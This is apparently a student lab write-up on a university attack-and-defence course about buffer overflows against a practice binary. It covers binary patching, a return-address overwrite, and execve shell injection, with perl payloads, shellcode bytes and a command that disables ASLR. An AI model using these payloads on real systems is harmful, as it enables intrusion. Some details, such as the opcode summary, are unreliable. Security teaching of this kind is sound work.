20222404 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

前方传来浪涛呼喊声發表於2024-10-11

姓名:張嘉月
學號:20222404

實驗日期:2024/09/29 — 2024/10/09

實驗名稱:緩衝區溢位和shellcode

指導教師:王志強

一、實驗內容

  1. 任務一:手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
  2. 任務二:利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
  3. 任務三:注入一個自己製作的shellcode並執行這段shellcode。

二、實驗過程
(一)任務一:手工修改可執行檔案,直接修改程式機器指令,改變程式執行流程

  • 下載目標檔案pwn1,修改為學號作為標記後,反彙編(objdump)檢視具體的函式和機器指令。如圖:

其中,第一列為記憶體地址,第二列為機器指令、第三列為對應的組合語言

  • 實驗目的是直接跳轉到getShell函式。重點關注以下程式碼(foo,getShell,main)

原理:
"call 8048491 "是指這條指令將呼叫位於地址8048491處的foo函式,即main函式呼叫foo,對應機器指令為“ e8 d7ffffff”。
e8為跳轉的含義,按原本正常流程EIP儲存為由80484b5下一步的80484ba,但因有e8,CPU就會轉而執行 “EIP + d7ffffff”這個位置的指令。
d7ffffff是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491,也就是foo函式的第一行。
因此,我們想讓它呼叫getShell,只要使80484ba+修改值為804847d(gstShell的第一行),即修改“d7ffffff”為,"getShell-80484ba"對應的補碼。
所以修改可執行檔案,將其中的call指令的目標地址由d7ffffff變為c3ffffff。

具體操作:
複製一個pwn2,進入vi內進行操作。

  • 1.按ESC鍵

  • 2.輸入:%!xxd,將顯示模式切換為16進位制模式

  • 3.查詢要修改的內容
    /e8 d7(注意空格)

  • 4.修改d7為c3

  • 5.儲存並退出

  • 6.反彙編pwn2檔案,到80484b5處查詢,會發現已經機器命令已經由d7改為c3,而組合語言也顯示“call getShell”,成功。

  • 7.可知getShell函式提示符為#,執行pwn2,如圖,說明成功呼叫。

(二)任務二:利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。

    1. 反彙編檢視程式,並進行分析。重點看getShell部分。
    1. 確認字串可以覆蓋的長度。進入gdb,輸入“11111111222222223333333344444444555555556666666677777777”,使用info r進行檢視。

      注意eip行的值,為0x35353535。
    1. 重新注入,這次輸入“11111111222222223333333344444444555555556666666612345678”,同樣適用info r進行檢視。

      這個時候eip的值變為了0x34333231。即可確定,最後1234四個數會覆蓋到堆疊上的返回地址。只要把這四個字元的位置對應替換為 getShell 的記憶體地址,輸給pwn,pwn就會執行getShell。
    1. getShell的記憶體地址,透過反彙編時可以看到,即0804847d。不難發現,輸入為1234,但真正覆蓋時變為了0x34333231。可以推測位元組順序為\x7d\x84\x04\x08。
    1. 入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成一個包含這些16進位制內容的檔案(\x0a表示回車);
    1. 使用16進位制檢視指令xxd input檢視input檔案的內容,確認無誤後使用(cat input;cat) | ./pwn20222404將input中的字串作為可執行檔案的輸入。

成功獲取shell(11111111222222223333333344444444),即成功呼叫了getShell函式。BOF 注入攻擊完成。

(三)任務三:注入一個自己製作的shellcode並執行這段shellcode。

    1. 輸入以下程式碼調整狀態。
      execstack -s pwn3 //設定堆疊可執行
      execstack -q pwn3 //查詢檔案的堆疊是否可執行
      more /proc/sys/kernel/randomize_va_space //檢視地址隨機化的狀態
      echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
      more /proc/sys/kernel/randomize_va_space

    1. 構造要使用的payload
      原理:
      Linux下有兩種基本構造攻擊buf的方法:
      retaddr+nop+shellcode
      在這種方法中,攻擊者利用緩衝區溢位,將惡意程式碼(shellcode)注入到棧上的緩衝區中。然後,透過覆蓋函式返回地址(retaddr),將執行流轉移到緩衝區中的惡意程式碼。為了增加攻擊的成功性,攻擊者通常在惡意程式碼前面新增一系列無操作指令(nop)或者填充無關資料,以確保惡意程式碼的正確執行。
      nop+shellcode+retaddr
      在這種方法中,攻擊者同樣將惡意程式碼注入到棧上的緩衝區中,然後透過覆蓋函式返回地址(retaddr),將執行流轉移到緩衝區中的惡意程式碼。與第一種方法不同的是,攻擊者將惡意程式碼放在緩衝區的開頭,而不是結尾,緊接著是一系列無操作指令(nop)。這樣做的目的是為了增加攻擊的成功性,避免惡意程式碼被覆蓋或截斷。

本次使用的結構為retaddr+nop+shellcode。使用以下命令進行構造shellcode的輸入(x1x2x3x4是用來佔位的,後續將替換為注入shellcode的地址,也就是foo函式中return address的位置,這個地址需要我們接下來去gdb分析尋找),並將其放入名為input_shellcode的檔案中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
輸入以下命令將input_shellcode的輸入內容作為pwn3的輸入:
(cat input_shellcode; cat) | ./pwn3

!!!注意,這裡輸入(cat input_shellcode; cat) | ./pwn3後,按一下enter,然後開啟一個新終端。

    1. 輸入ps -ef | grep pwn3,檢視檔案的程序以及程序號

      這裡第一個程序號"63189"對應於正在執行的名為"pwn3"的程序。第二個程序號"63436"對應於正在執行的名為"grep --color=auto pwn3"的程序,它是透過grep命令來查詢包含字串"pwn3"的程序。因此後續程序號按照“63189”來。
    1. 在新終端中使用gbd除錯,輸入命令attach 63189(剛剛查詢的程序號);輸入命令disassemble foo,反編譯foo。
    1. 可以看到,ret的地址為0x080484ae,因此,在這裡設定斷點。輸入命令break *0x080484ae
      在新終端輸入c(這個命令會繼續執行程式,直到達到設定的斷點),繼續執行後,在老終端按一下enter鍵。
      輸入info r esp檢視棧頂指標所在位置。這個命令用於檢視當前棧頂指標(ESP)的值。棧頂指標指向棧的頂部,也就是最近插入棧的資料的位置。可知棧頂指標所在的位置為0xffffd3ec;
      使用x/16x 0xffffcfdc命令檢視該地址處的存放內容,可以看到,此處出現了我們之前注入的輸入0x04030201,這說明找的就是這個地址。

因此,棧頂指標地址再加4位元組,就是shellcode應該處於的地址,即0xffffd3ec+4=0xffffd3f0

    1. 進行shellcode的注入,將0x04030201換成上述計算出來的位置0xffffd3f0,且用機器儲存的方式,顛倒一下,重新進行輸入。在原終端中輸入perl -e 'print "A" x 32;print "\xf0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然後再輸入(cat input_shellcode; cat) | ./pwn3

      成功!

三、總結回顧
(一)部分彙編指令

  1. NOP(No Operation)指令的機器碼是 0x90。
  2. JNE(Jump if Not Equal)指令的機器碼是 0x75,後面跟著一個相對偏移量。例如,JNE 0x10 的機器碼錶示為 0x7510。它會根據標誌暫存器中的條件跳轉到指定的程式碼位置,如果不相等則跳轉。
  3. JE(Jump if Equal)指令的機器碼是 0x74,後面跟著一個相對偏移量。例如,JE 0x10 的機器碼錶示為 0x7410。它會根據標誌暫存器中的條件跳轉到指定的程式碼位置,如果相等則跳轉。
  4. JMP(Unconditional Jump)指令的機器碼是 0xE9,後面跟著一個相對偏移量。例如,JMP 0x10 的機器碼錶示為 0xE910。它無條件地跳轉到指定的程式碼位置。
  5. CMP(Compare)指令的機器碼取決於運算元的大小和型別。例如,CMP AX, 0x42 的機器碼錶示為 0x3D 0x42 0x00(假設 AX 暫存器的大小是 16 位)。它會將 AX 暫存器的值與給定的值進行比較,設定條件碼標誌。

(二)問題回顧
1.在任務一中,查詢要修改的內容/e8d7,是查詢不到的。經過觀察,我發現要查詢的位置e8和d7不是相連的,而是f0e8 d7ff,所以試著進行/e8 d7查詢,成功。
2.任務二中的注入字元要加上/x0a表示回車,如果沒有的話,在程式執行時就需要手工按一下Enter鍵。而在任務三中,卻不可以加/x0a。
3.任務三中,老師所給事例有一個坑。區別在於兩種攻擊方式,nop+shellcode+retaddr中攻擊者將惡意程式碼放在緩衝區的開頭,而不是結尾。導致在棧頂與程式碼發生了衝突。所以當改變方式為anything+retaddr+nops+shellcode時就可行了。
4.任務三中,新老終端操作需要注意順序。第一次輸入(cat input_shellcode; cat) | ./pwn3後,按了兩次enter,導致新終端中輸入命令只出現了root 63436 63217 0 23:27 pts/1 00:00:00 grep --color=auto pwn3,從而導致實驗無法正常進行。經查得知"63436"對應於正在執行的名為"grep --color=auto pwn3"的程序,它是透過grep命令來查詢包含字串"pwn3"的程序。而實驗中需要用到的是pwn3執行的程序號。
5.任務三中首先進行了兩個操作,於是進行了緩衝區溢位保護的相關查閱。以下:
緩衝區溢位(Buffer Overflow,簡稱Bof攻擊)攻擊者試圖將超過緩衝區邊界的資料寫入到記憶體中,以執行惡意程式碼或修改程式。對此有以下相關保護措施。

  • 輸入驗證:對所有輸入進行驗證和過濾,確保輸入資料的長度不會超出目標緩衝區的容量。
  • 使用安全函式:使用安全的函式替換不安全的函式,如使用strncpy替代strcpy、使用snprintf替代sprintf等。
  • 棧保護技術:例如使用棧保護/堆保護技術,如棧溢位保護(StackGuard)、裝載預防(/GS)、堆疊保護(StackShield)等,以防止緩衝區溢位攻擊。
  • ASLR:地址空間佈局隨機化(Address Space Layout Randomization)透過隨機化系統記憶體佈局,使得攻擊者更難確定關鍵資料和程式碼的位置。
  • NX(No eXecute)位:使用硬體支援的記憶體保護功能,將資料區和堆疊標記為不可執行,以阻止攻擊者在緩衝區溢位後執行惡意程式碼。
  • 編碼指令檢測:例如使用資料執行防護(DEP)技術,禁止執行堆疊、資料或堆中的非執行指令。
  • 記憶體檢查工具:使用記憶體檢查工具來檢測程式執行時的記憶體訪問錯誤,例如使用記憶體檢測工具Valgrind。
  • 安全程式設計實踐:編寫安全的程式碼,包括正確使用記憶體操作函式、正確的輸入驗證、避免使用不受信任的輸入來進行記憶體操作等。
    而本次實驗中為了實現緩衝區攻擊,便是關掉了其中的棧保護和地址隨機化。

(三)心得體會
本次實驗我參考老師所給資料,積極與同學進行相關交流,理清了緩衝區攻擊的思路,也第一次對機器碼進行了操作,感覺很奇妙。
實驗過程出現了不少插曲,比如做了一半發現忘改主機名,假期前做完了任務一二,回來後想做任務三卻忘記了賬號密碼……於是上網搜尋學習瞭如何重置密碼,也算意外收穫些新內容。總結就是雖然看起來困難很多、不瞭解的知識很多,但實際上只要動手去敲,去搜集資訊,去汲取知識,就會發現其實問題沒有那麼複雜。
以及當初看老師所提供的資料,那句“這是個坑”出來的時候真是眼前一黑……還好問題不算複雜,可以解決。不過參考中給的按排次向上試探尋找的方法感覺略有繞彎。參考同學的方式採用了棧頂指標,感覺很神奇。條條大路通羅馬啊。

相關文章